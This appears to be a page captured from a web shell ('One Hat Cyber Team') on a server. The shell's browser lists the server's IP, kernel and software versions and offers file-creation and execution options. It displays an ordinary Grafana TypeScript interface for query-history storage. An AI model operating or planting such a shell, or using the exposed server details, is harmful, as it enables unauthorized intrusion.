⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
core
/
history
/
View File Name :
RichHistoryStorage.ts
import { RichHistorySearchFilters, RichHistorySettings } from 'app/core/utils/richHistory'; import { RichHistoryQuery } from '../../types'; /** * Errors are used when the operation on Rich History was not successful. */ export enum RichHistoryServiceError { StorageFull = 'StorageFull', DuplicatedEntry = 'DuplicatedEntry', } /** * Warnings are used when an entry has been added but there are some side effects that user should be informed about. */ export enum RichHistoryStorageWarning { /** * Returned when an entry was successfully added but maximum items limit has been reached and old entries have been removed. */ LimitExceeded = 'LimitExceeded', } /** * Detailed information about the warning that can be shown to the user */ export type RichHistoryStorageWarningDetails = { type: RichHistoryStorageWarning; message: string; }; export type RichHistoryResults = { richHistory: RichHistoryQuery[]; total?: number }; /** * @internal * @alpha */ export default interface RichHistoryStorage { getRichHistory(filters: RichHistorySearchFilters): Promise
; /** * Creates new RichHistoryQuery, returns object with unique id and created date */ addToRichHistory( newRichHistoryQuery: Omit
): Promise<{ warning?: RichHistoryStorageWarningDetails; richHistoryQuery: RichHistoryQuery }>; deleteAll(): Promise
; deleteRichHistory(id: string): Promise
; updateStarred(id: string, starred: boolean): Promise
; updateComment(id: string, comment: string | undefined): Promise
; getSettings(): Promise
; updateSettings(settings: RichHistorySettings): Promise
; }